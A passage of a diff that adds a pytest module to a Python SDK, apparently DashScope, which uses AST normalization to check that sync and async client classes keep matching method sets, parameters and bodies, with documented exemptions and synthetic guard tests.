+ "AsyncTranscriptionJobs", + ), + # ``recognize`` / ``recognize_file`` drive a microphone or a file through + # a websocket (they take ``ws_url`` / ``connector``), which is the sync + # thread model with no async counterpart -- the same reason + # ``transport/ws.py`` has no twin at all. + _Pair( + "dashscope/resources/audio/asr.py", + "Asr", + "AsyncAsr", + sync_only=frozenset({"recognize", "recognize_file"}), + ), + _Pair( + "dashscope/resources/audio/http_tts.py", + "HttpSynthesisStream", + "AsyncHttpSynthesisStream", + # ``__aiter__`` hands back the inner ``AsyncIterator``, so there is + # no ``__anext__`` to delegate; the sync side implements both itself. + sync_only=frozenset({"__next__"}), + ), + # ``AsyncHttpTts`` takes ``(text, **kwargs)`` and pops the same keys the + # sync side declares explicitly, so behaviour matches but the signature + # does not. Exempted rather than left silently green: tightening the + # async signature to the 12 typed kwargs is tracked separately, and this + # entry is what keeps that gap visible. + _Pair( + "dashscope/resources/audio/http_tts.py", + "HttpTts", + "AsyncHttpTts", + params_exempt=frozenset({"stream", "synthesize"}), + ), + _Pair("dashscope/resources/chat/__init__.py", "Chat", "AsyncChat"), + _Pair( + "dashscope/resources/chat/completions.py", + "Completions", + "AsyncCompletions", + ), + _Pair( + "dashscope/resources/chat/completions.py", + "ChatStream", + "AsyncChatStream", + ), + _Pair("dashscope/resources/decision.py", "Decision", "AsyncDecision"), + _Pair( + "dashscope/resources/deployments.py", + "Deployments", + "AsyncDeployments", + ), + _Pair( + "dashscope/resources/embeddings.py", + "EmbeddingJobs", + "AsyncEmbeddingJobs", + ), + _Pair( + "dashscope/resources/embeddings.py", + "Embeddings", + "AsyncEmbeddings", + ), + _Pair("dashscope/resources/files.py", "Files", "AsyncFiles"), + _Pair("dashscope/resources/fine_tunes.py", "FineTunes", "AsyncFineTunes"), + _Pair("dashscope/resources/images.py", "ImageJobs", "AsyncImageJobs"), + _Pair("dashscope/resources/images.py", "Images", "AsyncImages"), + _Pair("dashscope/resources/models.py", "Models", "AsyncModels"), + _Pair( + "dashscope/resources/multimodal/__init__.py", + "Multimodal", + "AsyncMultimodal", + ), + _Pair( + "dashscope/resources/multimodal/chat.py", + "MultimodalChat", + "AsyncMultimodalChat", + ), + _Pair( + "dashscope/resources/multimodal/embeddings.py", + "MultimodalEmbeddings", + "AsyncMultimodalEmbeddings", + ), + _Pair( + "dashscope/resources/reinforcement_learning.py", + "RlJobs", + "AsyncRlJobs", + ), + _Pair("dashscope/resources/reinforcement_learning.py", "Rl", "AsyncRl"), + _Pair("dashscope/resources/rerank.py", "Rerank", "AsyncRerank"), + # ``realtime`` opens a websocket session (``ws_url`` / ``connector`` / + # ``connection``), so it stays sync-only like the other ws entry points. + _Pair( + "dashscope/resources/tingwu.py", + "TingWu", + "AsyncTingWu", + sync_only=frozenset({"realtime"}), + ), + _Pair( + "dashscope/resources/tokenization.py", + "Tokenization", + "AsyncTokenization", + ), + _Pair("dashscope/resources/videos.py", "VideoJobs", "AsyncVideoJobs"), + _Pair("dashscope/resources/videos.py", "Videos", "AsyncVideos"), + # A CLI progress spinner, copied by hand like everything else here. Its + # contract is the context-manager protocol, so the dunder comparison + # (mapped through ``_NAME_MAP``) is the whole check. + _Pair( + "dashscope/acli/utils/spinner.py", + "StderrSpinner", + "AsyncSpinner", + ), +] + +_IDS = [pair.sync_cls for pair in _PAIRS] + +# Methods whose two halves are deliberately *not* mechanical copies, so their +# bodies are not compared. Each value states the reason, because an +# unexplained exemption is how real drift hides. +# +# These are self-expiring: ``test_declared_exemptions_are_still_needed`` +# fails the moment an entry stops describing a real difference, so closing +# one of these gaps retires its own exemption instead of leaving the method +# permanently unchecked. A key that names no real method fails too, which is +# what keeps a rename from silently orphaning an entry. +# +# Keyed by ``(path, sync_cls, method)``, the method in its sync spelling -- +# so ``aclose`` appears as ``close`` and ``__aexit__`` as ``__exit__``. +_BodyKey = Tuple[str, str, str] + +_BODY_EXEMPT: Dict[_BodyKey, str] = { + # -- sync generator against an async generator ----------------------- + # ``yield`` versus ``async for`` is a different construct, not a token + # rewrite. This is why T7 scopes streaming out of the generation pilot. + ("dashscope/transport/sse.py", "Stream", "__iter__"): ( + "sync is a generator over EventSource with a try/finally close; " + "async returns the _iterate() async generator" + ), + ("dashscope/resources/apps.py", "AppStream", "__iter__"): ( + "iter(self._inner) against self._inner.__iter__(), the async " + "iterator protocol having no iter() builtin equivalent" + ), + ("dashscope/resources/apps.py", "AppStream", "text_stream"): ( + "sync yields in a for loop; async returns the _text_stream() " + "async generator" + ), + ( + "dashscope/resources/audio/http_tts.py", + "HttpSynthesisStream", + "__iter__", + ): ( + "sync returns self and implements __next__; async returns " + "self._inner, whose __anext__ does the work" + ), + ( + "dashscope/resources/audio/http_tts.py", + "HttpSynthesisStream", + "close", + ): ( + "sync closes the inner stream then the response in a try/finally; " + "async has no inner sync stream to close" + ), + ( + "dashscope/resources/chat/completions.py", + "ChatStream", + "__iter__", + ): ( + "sync accumulates over iter(self._inner); async over the " + "_accumulated() async generator" + ), + ( + "dashscope/resources/chat/completions.py", + "ChatStream", + "text_stream", + ): "sync yields in a for loop; async returns _text_stream()", + ( + "dashscope/resources/chat/completions.py", + "ChatStream", + "reasoning_stream", + ): "sync yields in a for loop; async returns _reasoning_stream()", + ( + "dashscope/resources/chat/completions.py", + "ChatStream", + "tool_call_stream", + ): "sync yields in a for loop; async returns _tool_call_stream()", + ( + "dashscope/resources/chat/completions.py", + "ChatStream", + "get_final_message", + ): ( + "async must materialize the chunks with an async comprehension " + "before aggregating; sync passes the live iterator straight in" + ), + # -- SSE consumption: ``for`` against ``async for`` ------------------ + ("dashscope/transport/http.py", "SyncTransport", "open_stream"): ( + "async builds the request up front, reads it with aread() and " + "sleeps with _asleep; T7 scopes open_stream out of the pilot" + ), + ( + "dashscope/resources/deployments.py", + "Deployments", + "stream_events", + ): "for _iter_sse(response) against async for _aiter_sse(response)", + ( + "dashscope/resources/fine_tunes.py", + "FineTunes", + "stream_events", + ): "for _iter_sse(response) against async for _aiter_sse(response)", + # -- blocking work offloaded to a worker thread ---------------------- + # The async twin cannot block the event loop, so file upload and + # request building go through run_blocking and the send through _asend. + ("dashscope/resources/images.py", "Images", "generate"): ( + "_upload_inputs runs inline; async offloads it via run_blocking" + ), + ("dashscope/resources/images.py", "ImageJobs", "create"): ( + "_upload_inputs runs inline; async offloads it via run_blocking" + ), + ("dashscope/resources/videos.py", "VideoJobs", "create"): ( + "_upload_inputs runs inline; async offloads it via run_blocking" + ), + ( + "dashscope/resources/multimodal/embeddings.py", + "MultimodalEmbeddings", + "create", + ): ( + "upload_embedding_media runs inline; async offloads it via " + "run_blocking" + ), + ( + "dashscope/resources/chat/completions.py", + "Completions", + "create", + ): ( + "_build_request runs inline and sends via _send; async offloads " + "the build via run_blocking and sends via _asend" + ), + ( + "dashscope/resources/multimodal/chat.py", + "MultimodalChat", + "create", + ): ( + "_build_request runs inline and sends via _send; async offloads " + "the build via run_blocking and sends via _asend" + ), + # -- retry backoff: a different sleep helper ------------------------- + ("dashscope/transport/http.py", "SyncTransport", "request"): ( + "backoff calls the _sleep helper; async calls its _asleep twin" + ), + # -- polling: time.sleep against asyncio.sleep ----------------------- + ("dashscope/resources/_jobs.py", "Jobs", "wait"): ( + "defaults the injectable _sleep to time.sleep; async to " + "asyncio.sleep" + ), + ("dashscope/resources/audio/asr.py", "TranscriptionJobs", "wait"): ( + "defaults the injectable _sleep to time.sleep; async to " + "asyncio.sleep" + ), + ("dashscope/resources/fine_tunes.py", "FineTunes", "wait"): ( + "defaults the injectable _sleep to time.sleep; async to " + "asyncio.sleep" + ), + ( + "dashscope/resources/reinforcement_learning.py", + "RlJobs", + "wait", + ): ( + "defaults the injectable _sleep to time.sleep; async to " + "asyncio.sleep" + ), + # -- sync drives an async workflow through asyncio.run() ------------- + # Every ``Rl`` entry point shells into the async-only ``_agentic_rl`` + # client, so the sync side needs a loop and the async side already has + # one. + ( + "dashscope/resources/reinforcement_learning.py", + "RlJobs", + "create", + ): "sync wraps rl.run() in asyncio.run(); async awaits it", + ( + "dashscope/resources/reinforcement_learning.py", + "Rl", + "register_functions", + ): ( + "sync wraps _register_functions_workflow in asyncio.run(); async " + "awaits it" + ), + ( + "dashscope/resources/reinforcement_learning.py", + "Rl", + "test_functions", + ): "sync wraps the _agentic_rl coroutine in asyncio.run()", + ( + "dashscope/resources/reinforcement_learning.py", + "Rl", + "upload_data", + ): "sync wraps rl.upload_datasets in asyncio.run()", + ( + "dashscope/resources/reinforcement_learning.py", + "Rl", + "query_function_instance_logs", + ): "sync wraps the _agentic_rl coroutine in asyncio.run()", + ( + "dashscope/resources/reinforcement_learning.py", + "Rl", + "query_all_function_instance_logs", + ): "sync wraps the _agentic_rl coroutine in asyncio.run()", + ( + "dashscope/resources/reinforcement_learning.py", + "Rl", + "delete_function_instance", + ): "sync wraps the _agentic_rl coroutine in asyncio.run()", + # -- constructors wiring a different object graph ---------------------- + ("dashscope/client.py", "Client", "__init__"): ( + "builds a SyncTransport; the async client builds an AsyncTransport " + "imported under a local alias" + ), + ("dashscope/client.py", "Client", "agentstudio"): ( + "instantiates the agentstudio sync Client; async instantiates that " + "sub-SDK's own AsyncClient" + ), + ("dashscope/resources/audio/__init__.py", "Audio", "__init__"): ( + "async wraps each sub-resource in _AsyncResourceProxy and has no " + "``realtime`` (websocket, sync-only)" + ), + ("dashscope/resources/audio/asr.py", "Asr", "__init__"): ( + "sync binds self._client itself; async relies on the base wiring" + ), + # -- spinner: a thread against an asyncio.Task ----------------------- + ("dashscope/acli/utils/spinner.py", "StderrSpinner", "__init__"): ( + "sync initialises a _stop flag; async an _task handle" + ), + ("dashscope/acli/utils/spinner.py", "StderrSpinner", "__enter__"): ( + "sync starts a daemon threading.Thread; async schedules " + "asyncio.create_task" + ), + ("dashscope/acli/utils/spinner.py", "StderrSpinner", "__exit__"): ( + "sync sets _stop and joins the thread; async cancels the task and " + "swallows CancelledError" + ), +} + +# One parameter, normalized: its kind and its name. +_Param = Tuple[str, str] +_Sig = List[_Param] + + +def _is_private(name: str) -> bool: + """Whether ``name`` is an internal helper, exempt from parity. + + Underscore-prefixed but *not* a dunder: ``__aiter__`` / ``__aenter__`` + are protocol surface the caller depends on, so they stay in scope and + are compared under their ``_NAME_MAP`` sync spelling. + """ + return name.startswith("_") and not name.startswith("__") + + +def _params(fn) -> _Sig: + """Normalized ``(kind, name)`` parameters of ``fn``, ``self`` dropped. + + ``kind`` is one of ``pos`` / ``var`` / ``kw`` / ``kwvar``. Annotations + and defaults are not captured: they legitimately differ between twins. + """ + args = fn.args + out: _Sig = [("pos", a.arg) for a in args.args if a.arg != "self"] + if args.vararg is not None: + out.append(("var", args.vararg.arg)) + out += [("kw", a.arg) for a in args.kwonlyargs] + if args.kwarg is not None: + out.append(("kwvar", args.kwarg.arg)) + return out + + +def _sigs_from_source(src: str, cls: str) -> Dict[str, _Sig]: + """Public method signatures of ``cls`` in ``src``, keyed by mapped name. + + Accepting a source string (rather than only a file) lets the guard tests + below feed the detector synthetic twins with a known drift. ``@overload`` + repeats a name and the last binding wins, which is safe because an + overload set shares parameter *names* -- only annotations and defaults + vary across the stubs, and neither is compared. + """ + tree = ast.parse(src) + sigs: Dict[str, _Sig] = {} + for node in tree.body: + if not (isinstance(node, ast.ClassDef) and node.name == cls): + continue + for fn in node.body: + if not isinstance(fn, (ast.FunctionDef, ast.AsyncFunctionDef)): + continue + if _is_private(fn.name): + continue + sigs[_NAME_MAP.get(fn.name, fn.name)] = _params(fn) + return sigs + + +def _deasync(name: str) -> str: + """``AsyncModels`` -> ``Models``; anything else is left alone. + + Requiring an uppercase letter after the prefix keeps names that merely + begin with those five characters -- ``Asyncio``, say -- from being + mangled into something that no longer resolves. + """ + if name.startswith("Async") and name[5:6].isupper(): + return name[5:] + return name + + +class _Normalize(ast.NodeTransformer): + """Rewrite a method so both halves of a twin normalize to one tree. + + This undoes exactly the mechanical half of the hand copy: ``await`` is + dropped, ``async def`` becomes ``def``, the ``Async`` class-name prefix + and the ``_NAME_MAP`` spellings collapse to their sync names, and + docstrings plus signature annotations are removed. All of those differ + legitimately between twins (an "Async twin of ..." one-liner, a + ``Callable[..., Awaitable[None]]``), so comparing them is noise. + + Local variable annotations are kept -- they read the same on both sides, + so they are signal. ``AsyncFor`` and ``AsyncWith`` are deliberately not + rewritten: a sync ``for`` against an ``async for`` is a real structural + difference, which is what ``_BODY_EXEMPT`` exists to declare. + """ + + def visit_Await(self, node): + self.generic_visit(node) + return node.value + + def visit_AsyncFunctionDef(self, node): + plain = ast.FunctionDef( + name=node.name, + args=node.args, + body=node.body, + decorator_list=node.decorator_list, + returns=node.returns, + ) + return self.visit_FunctionDef(plain) + + def visit_FunctionDef(self, node): + self.generic_visit(node) + node.name = _NAME_MAP.get(node.name, node.name) + node.returns = None + body = node.body + if ( + body + and isinstance(body[0], ast.Expr) + and isinstance(body[0].value, ast.Constant) + and isinstance(body[0].value.value, str) + ): + node.body = body[1:] or [ast.Pass()] + for arg in ast.walk(node.args): + if isinstance(arg, ast.arg): + arg.annotation = None + return node + + def visit_Name(self, node): + self.generic_visit(node) + node.id = _deasync(node.id) + return node + + def visit_Attribute(self, node): + self.generic_visit(node) + attr = _deasync(node.attr) + node.attr = _NAME_MAP.get(attr, attr) + return node + + +def _bodies_from_source(src: str, cls: str) -> Dict[str, str]: + """Normalized body of each public method of ``cls``, keyed by name. + + ``@overload`` repeats a name and the last binding wins, so the + implementation is what gets compared, on both sides alike. + + Comparing unparsed trees rather than source lines keeps the check honest + under re-formatting: dropping an ``await`` shortens a line, and the + formatter is then free to re-flow it, which a line diff would report as + drift. + """ + tree = ast.parse(src) + bodies: Dict[str, str] = {} + for node in tree.body: + if not (isinstance(node, ast.ClassDef) and node.name == cls): + continue + for fn in node.body: + if not isinstance(fn, (ast.FunctionDef, ast.AsyncFunctionDef)): + continue + if _is_private(fn.name): + continue + clone = _Normalize().visit(copy.deepcopy(fn)) + clone.name = _NAME_MAP.get(clone.name, clone.name) + ast.fix_missing_locations(clone) + key = _NAME_MAP.get(fn.name, fn.name) + bodies[key] = ast.unparse(clone) + return bodies + + +def _diff( + pair: _Pair, + sync_sigs: Dict[str, _Sig], + async_sigs: Dict[str, _Sig], +) -> Tuple[List[str], List[str]]: + """Compare one twin pair; return ``(method_drift, param_drift)`` messages. + + Both lists empty means the pair aligns. Messages name the offending + method (and, for parameters, both sides' signatures) so a failure points + straight at the drift instead of at this file. + """ + method_problems: List[str] = [] + param_problems: List[str] = [] + sync_names = set(sync_sigs) - pair.sync_only + async_names = set(async_sigs) - pair.async_only + for name in sorted(sync_names - async_names): + method_problems.append(f"{pair.async_cls} is missing method: {name}") + for name in sorted(async_names - sync_names): + method_problems.append(f"{pair.sync_cls} is missing method: {name}") + shared = (sync_names & async_names) - pair.params_exempt + for name in sorted(shared): + if sync_sigs[name] != async_sigs[name]: + param_problems.append( + f"{name} parameter drift: " + f"{pair.sync_cls}={sync_sigs[name]} " + f"{pair.async_cls}={async_sigs[name]}", + ) + return method_problems, param_problems + + +def _diff_pair(pair: _Pair) -> Tuple[List[str], List[str]]: + """Read both sides of ``pair`` off disk and diff them.""" + src = (REPO_ROOT / pair.path).read_text(encoding="utf-8") + sync_sigs = _sigs_from_source(src, pair.sync_cls) + async_sigs = _sigs_from_source(src, pair.async_cls) + # Guard against a typo'd or renamed class silently comparing nothing, + # which would make the whole pair vacuously green. + assert sync_sigs, f"no methods found for {pair.sync_cls} in {pair.path}" + assert async_sigs, f"no methods found for {pair.async_cls} in {pair.path}" + return _diff(pair, sync_sigs, async_sigs) + + +def _bodies_of_pair(pair: _Pair) -> Tuple[Dict[str, str], Dict[str, str]]: + """Both sides' normalized method bodies, read off disk.""" + src = (REPO_ROOT / pair.path).read_text(encoding="utf-8") + found: Dict[str, Dict[str, str]] = {} + for cls in (pair.sync_cls, pair.async_cls): + bodies = _bodies_from_source(src, cls) + # Guard against a typo'd or renamed class silently comparing + # nothing, which would make the whole pair vacuously green. + assert bodies, f"no methods found for {cls} in {pair.path}" + found[cls] = bodies + return found[pair.sync_cls], found[pair.async_cls] + + +def _body_diff( + pair: _Pair, + sync_bodies: Dict[str, str], + async_bodies: Dict[str, str], + exempt: Optional[Dict[_BodyKey, str]] = None, +) -> List[str]: + """Methods present on both sides whose normalized bodies drifted. + + Messages carry a unified diff of the normalized trees, so a failure + shows the actual divergence rather than just naming the method. + """ + if exempt is None: + exempt = _BODY_EXEMPT + problems: List[str] = [] + shared = (set(sync_bodies) - pair.sync_only) & ( + set(async_bodies) - pair.async_only + ) + # A method whose signature already differs is reported by the parameter + # check; re-reporting its body would bury that in a much longer diff. + shared -= pair.params_exempt + for name in sorted(shared): + if (pair.path, pair.sync_cls, name) in exempt: + continue + if sync_bodies[name] == async_bodies[name]: + continue + diff = "\n".join( + difflib.unified_diff( + sync_bodies[name].splitlines(), + async_bodies[name].splitlines(), + pair.sync_cls, + pair.async_cls, + lineterm="", + n=1, + ), + ) + problems.append(f"{name} body drifted:\n{diff}") + return problems + + +def _body_diff_pair(pair: _Pair) -> List[str]: + """Read both sides of ``pair`` off disk and diff their bodies.""" + sync_bodies, async_bodies = _bodies_of_pair(pair) + return _body_diff(pair, sync_bodies, async_bodies) + + +def _discover_pairs() -> Set[Tuple[str, str, str]]: + """Every ``(path, sync_cls, async_cls)`` twin in the checked tree. + + The rule is a shared module holding ``Foo`` and ``AsyncFoo``. Two + exceptions keep it from silently missing a twin: ``SyncTransport``, whose + sync side is prefixed rather than bare, so the ``Async``-strip is retried + with a ``Sync`` prefix; and the pairs in ``_RENAMED_TWINS``, where the + two halves do not share a stem at all. + """ + found: Set[Tuple[str, str, str]] = set() + for path in sorted((REPO_ROOT / "dashscope").rglob("*.py")): + if _SKIP_DIRS.intersection(path.parts): + continue + rel = path.relative_to(REPO_ROOT).as_posix() + tree = ast.parse(path.read_text(encoding="utf-8")) + names = [n.name for n in tree.body if isinstance(n, ast.ClassDef)] + for name in names: + if not name.startswith("Async"): + continue + sync = _RENAMED_TWINS.get(name) or name[len("Async") :] + if sync not in names and f"Sync{sync}" in names: + sync = f"Sync{sync}" + if sync in names: + found.add((rel, sync, name)) + return found + + +@pytest.mark.parametrize("pair", _PAIRS, ids=_IDS) +def test_twin_method_sets_match(pair): + method_problems, _ = _diff_pair(pair) + detail = "\n".join(method_problems) + msg = ( + f"{pair.path}: {pair.sync_cls}/{pair.async_cls} method set " + f"drifted:\n{detail}" + ) + assert method_problems == [], msg + + +@pytest.mark.parametrize("pair", _PAIRS, ids=_IDS) +def test_twin_param_lists_match(pair): + _, param_problems = _diff_pair(pair) + detail = "\n".join(param_problems) + msg = ( + f"{pair.path}: {pair.sync_cls}/{pair.async_cls} parameters " + f"drifted:\n{detail}" + ) + assert param_problems == [], msg + + +@pytest.mark.parametrize("pair", _PAIRS, ids=_IDS) +def test_twin_method_bodies_match(pair): + """A method that is a mechanical copy must stay a mechanical copy. + + The two checks above compare the contract only, so editing one side's + *logic* and forgetting the other passes both. Most twins are byte-identical + once the async spelling is normalized away, and those are held to it here; + the structurally divergent ones are declared in ``_BODY_EXEMPT``. + """ + problems = _body_diff_pair(pair) + detail = "\n\n".join(problems) + msg = ( + f"{pair.path}: {pair.sync_cls}/{pair.async_cls} method bodies " + f"drifted:\n{detail}\n" + "Mirror the change to both sides, or -- if the divergence is " + "intentional -- add the method to _BODY_EXEMPT with the reason." + ) + assert problems == [], msg + + +def test_every_async_twin_in_the_v2_tree_is_covered(): + """No twin may ship without a ``_PAIRS`` entry. + + Without this, adding ``AsyncWidgets`` to a new resource file escapes + every check above -- the exact rot phase 1 exists to stop. The stale + direction is asserted too, so a renamed or deleted class cannot leave a + dead entry that quietly stops matching anything. + """ + declared = {(p.path, p.sync_cls, p.async_cls) for p in _PAIRS} + discovered = _discover_pairs() + missing = sorted(discovered - declared) + stale = sorted(declared - discovered) + assert missing == [], ( + "sync/async twins with no parity entry -- add them to _PAIRS:\n" + + "\n".join(f" {m[0]}: {m[1]}/{m[2]}" for m in missing) + ) + assert stale == [], ( + "_PAIRS entries that no longer match a twin in the tree (class " + f"renamed or removed?): {stale}" + ) + + +def test_declared_exemptions_are_still_needed(): + """Every exemption must still describe a real difference. + + A stale exemption is worse than none: the method stops being compared + and nothing says so, which is how a declared gap hardens into a + permanent blind spot. Each kind is checked in the direction that retires + it -- a ``sync_only`` method the async side has since grown, a + ``params_exempt`` signature that has since been tightened, a + ``_BODY_EXEMPT`` body that has since been made to match. + + An empty reason fails as well. The point of the list is that a reader + can tell a design decision from an oversight. + """ + stale: List[str] = [] + + for pair in _PAIRS: + src = (REPO_ROOT / pair.path).read_text(encoding="utf-8") + sync_sigs = _sigs_from_source(src, pair.sync_cls) + async_sigs = _sigs_from_source(src, pair.async_cls) + for name in sorted(pair.sync_only): + if name in async_sigs: + stale.append( + f"{pair.path}: {pair.sync_cls}.{name} is exempt as " + f"sync-only, but {pair.async_cls} has it now too", + ) + for name in sorted(pair.async_only): + if name in sync_sigs: + stale.append( + f"{pair.path}: {pair.async_cls}.{name} is exempt as " + f"async-only, but {pair.sync_cls} has it now too", + ) + for name in sorted(pair.params_exempt): + if name not in sync_sigs or name not in async_sigs: + stale.append( + f"{pair.path}: {pair.sync_cls}.{name} is exempt from " + "the parameter check but is not on both sides", + ) + elif sync_sigs[name] == async_sigs[name]: + stale.append( + f"{pair.path}: {pair.sync_cls}.{name} parameters now " + "match -- drop it from params_exempt", + ) + + # _BODY_EXEMPT is keyed by (path, sync_cls), so each key must resolve to + # exactly one twin; the length check is what makes that true. + by_twin = {(p.path, p.sync_cls): p for p in _PAIRS} + assert len(by_twin) == len(_PAIRS), ( + "_PAIRS holds a duplicate (path, sync_cls); _BODY_EXEMPT keys " + "would be ambiguous" + ) + + cache: Dict[Tuple[str, str], Tuple[Dict[str, str], Dict[str, str]]] = {} + for (path, sync_cls, name), reason in sorted(_BODY_EXEMPT.items()): + where = f"{path}::{sync_cls}.{name}" + pair = by_twin.get((path, sync_cls)) + if pair is None: + stale.append(f"_BODY_EXEMPT {where} names no _PAIRS twin") + continue + if not reason.strip(): + stale.append(f"_BODY_EXEMPT {where} states no reason") + continue + if (path, sync_cls) not in cache: + cache[(path, sync_cls)] = _bodies_of_pair(pair) + sync_bodies, async_bodies = cache[(path, sync_cls)] + if name not in sync_bodies or name not in async_bodies: + stale.append( + f"_BODY_EXEMPT {where} is not a public method on both " + "sides (renamed?)", + ) + elif sync_bodies[name] == async_bodies[name]: + stale.append( + f"{where} bodies now match -- drop it from _BODY_EXEMPT", + ) + + detail = "\n".join(f" {s}" for s in stale) + assert stale == [], ( + "exemptions that no longer describe a real difference:\n" + detail + ) + + +# --------------------------------------------------------------------------- +# Guard tests: prove the detector is not vacuous. These feed it synthetic +# twins with a known drift and assert it reports it -- the in-suite equivalent +# of "delete an async method and watch the parity test go red". +# --------------------------------------------------------------------------- + +_SYNTHETIC = _Pair("synthetic.py", "Models", "AsyncModels") + +_SYNC_SRC = """ +class Models: + def __init__(self, client): + pass + + def list(self, *, page_no=1): + pass + + def get(self, model): + pass +""" + +_ASYNC_SRC_ALIGNED = """ +class AsyncModels: + def __init__(self, client): + pass + + async def list(self, *, page_no=1): + pass + + async def get(self, model): + pass +""" + +_ASYNC_SRC_MISSING_METHOD = """ +class AsyncModels: + def __init__(self, client): + pass + + async def list(self, *, page_no=1): + pass +""" + +_ASYNC_SRC_EXTRA_PARAM = """ +class AsyncModels: + def __init__(self, client): + pass + + async def list(self, *, page_no=1, provider=None): + pass + + async def get(self, model): + pass +""" + + +def test_detector_accepts_an_aligned_twin(): + sync = _sigs_from_source(_SYNC_SRC, "Models") + asyn = _sigs_from_source(_ASYNC_SRC_ALIGNED, "AsyncModels") + method_problems, param_problems = _diff(_SYNTHETIC, sync, asyn) + assert method_problems == [] + assert param_problems == [] + + +def test_detector_flags_a_missing_async_method(): + sync = _sigs_from_source(_SYNC_SRC, "Models") + asyn = _sigs_from_source(_ASYNC_SRC_MISSING_METHOD, "AsyncModels") + method_problems, _ = _diff(_SYNTHETIC, sync, asyn) + assert any("get" in problem for problem in method_problems) + + +def test_detector_flags_a_param_drift(): + sync = _sigs_from_source(_SYNC_SRC, "Models") + asyn = _sigs_from_source(_ASYNC_SRC_EXTRA_PARAM, "AsyncModels") + _, param_problems = _diff(_SYNTHETIC, sync, asyn) + assert any("list" in problem for problem in param_problems) + + +def test_detector_refuses_to_compare_a_class_it_cannot_find(): + # A typo'd class name must blow up, not report a vacuous pass. + pair = _Pair( + "dashscope/resources/models.py", + "Modelz", + "AsyncModels", + ) + with pytest.raises(AssertionError, match="no methods found"): + _diff_pair(pair) + + +def test_name_map_pairs_async_spellings_with_their_sync_names(): + # close/aclose and the four async dunders are the same method under a + # different name; the map must pair them, not report a two-sided drift. + sync = _sigs_from_source( + "class T:\n" + " def close(self):\n" + " pass\n" + " def __enter__(self):\n" + " pass\n" + " def __exit__(self, *exc):\n" + " pass\n" + " def __iter__(self):\n" + " pass\n" + " def __next__(self):\n" + " pass\n", + "T", + ) + asyn = _sigs_from_source( + "class T:\n" + " async def aclose(self):\n" + " pass\n" + " async def __aenter__(self):\n" + " pass\n" + " async def __aexit__(self, *exc):\n" + " pass\n" + " def __aiter__(self):\n" + " pass\n" + " async def __anext__(self):\n" + " pass\n", + "T", + ) + pair = _Pair("synthetic.py", "T", "T") + method_problems, param_problems = _diff(pair, sync, asyn) + assert method_problems == [] + assert param_problems == [] + + +def test_sync_only_exemption_is_honored(): + # A method present only on the sync side is drift unless it is exempted; + # the exemption (e.g. Client.ws_connection) must silence it. + sync = _sigs_from_source( + "class T:\n" + " def a(self):\n" + " pass\n" + " def b(self):\n" + " pass\n", + "T", + ) + asyn = _sigs_from_source( + "class T:\n async def a(self):\n pass\n", + "T", + ) + declared = _Pair("synthetic.py", "T", "T") + unexempted, _ = _diff(declared, sync, asyn) + assert any("b" in problem for problem in unexempted) + exempted, _ = _diff( + _Pair("synthetic.py", "T", "T", sync_only=frozenset({"b"})), + sync, + asyn, + ) + assert exempted == [] + + +def test_private_helpers_are_not_compared(): + # A private helper is not a contract, and the twins legitimately reach + # the same behaviour by different private means. Dunders stay compared. + sync = _sigs_from_source( + "class T:\n" + " def a(self):\n" + " pass\n" + " def _helper(self):\n" + " pass\n" + " def __iter__(self):\n" + " pass\n", + "T", + ) + asyn = _sigs_from_source( + "class T:\n async def a(self):\n pass\n", + "T", + ) + assert "_helper" not in sync + assert "__iter__" in sync + method_problems, _ = _diff(_Pair("synthetic.py", "T", "T"), sync, asyn) + # The dunder is still reported; the private helper is not. + assert any("__iter__" in problem for problem in method_problems) + assert not any("_helper" in problem for problem in method_problems) + + +def test_params_exempt_silences_a_declared_signature_gap(): + # The HttpTts/AsyncHttpTts case: both sides have the method, but the + # async one takes ``**kwargs``. Exempting it must quiet the param check + # while leaving the method-set check fully alive. + sync = _sigs_from_source( + "class T:\n def s(self, text, *, model, voice):\n pass\n", + "T", + ) + asyn = _sigs_from_source( + "class T:\n async def s(self, text, **kwargs):\n pass\n", + "T", + ) + declared = _Pair("synthetic.py", "T", "T") + _, unexempted = _diff(declared, sync, asyn) + assert any("s" in problem for problem in unexempted) + exempt, params = _diff( + _Pair("synthetic.py", "T", "T", params_exempt=frozenset({"s"})), + sync, + asyn, + ) + assert params == [] + assert exempt == [] + + +# --------------------------------------------------------------------------- +# Guard tests for the body check. Same discipline as above: prove it catches +# real logic drift, and prove it does *not* fire on the differences the twins +# are supposed to have. +# --------------------------------------------------------------------------- + + +def test_body_check_ignores_the_mechanical_async_difference(): + # await, async def, the Async class prefix, a "twin of" docstring and a + # signature annotation are all legitimate; none of them is drift. + sync = _bodies_from_source( + "class T:\n" + " def call(self, x):\n" + " helper = AsyncHelper()\n" + " return helper.run(x)\n", + "T", + ) + asyn = _bodies_from_source( + "class T:\n" + " async def call(self, x: int) -> str:\n" + ' """Async twin of T.call."""\n' + " helper = Helper()\n" + " return await helper.run(x)\n", + "T", + ) + pair = _Pair("synthetic.py", "T", "T") + assert _body_diff(pair, sync, asyn) == [] + + +def test_body_check_is_immune_to_reformatting(): + # Dropping an ``await`` shortens a line, so the formatter is free to + # re-flow it. Comparing source lines would call that drift; comparing + # unparsed trees does not. + sync = _bodies_from_source( + "class T:\n" + " def f(self, a, b):\n" + " return helper(a, b)\n", + "T", + ) + asyn = _bodies_from_source( + "class T:\n" + " async def f(self, a, b):\n" + " return await helper(\n" + " a,\n" + " b,\n" + " )\n", + "T", + ) + pair = _Pair("synthetic.py", "T", "T") + assert _body_diff(pair, sync, asyn) == [] + + +def test_body_check_flags_a_logic_drift(): + # The contract checks above cannot see this: same method name, same + # parameters, different behaviour on one side only. + sync = _bodies_from_source( + "class T:\n def f(self, x):\n return x + 1\n", + "T", + ) + asyn = _bodies_from_source( + "class T:\n async def f(self, x):\n return x + 2\n", + "T", + ) + problems = _body_diff(_Pair("synthetic.py", "T", "T"), sync, asyn) + assert len(problems) == 1 + assert "f body drifted" in problems[0] + + +def test_body_check_keeps_a_structural_async_difference(): + # ``async for`` is not a token rewrite, so it must still read as drift -- + # that is what forces the pair to declare itself in _BODY_EXEMPT rather + # than diverge silently. + sync = _bodies_from_source( + "class T:\n" + " def f(self, xs):\n" + " for x in xs:\n" + " yield x\n", + "T", + ) + asyn = _bodies_from_source( + "class T:\n" + " async def f(self, xs):\n" + " async for x in xs:\n" + " yield x\n", + "T", + ) + assert _body_diff(_Pair("synthetic.py", "T", "T"), sync, asyn) != [] + + +def test_body_exempt_silences_a_declared_body_divergence(): + sync = _bodies_from_source( + "class T:\n" + " def f(self, xs):\n" + " for x in xs:\n" + " yield x\n", + "T", + ) + asyn = _bodies_from_source( + "class 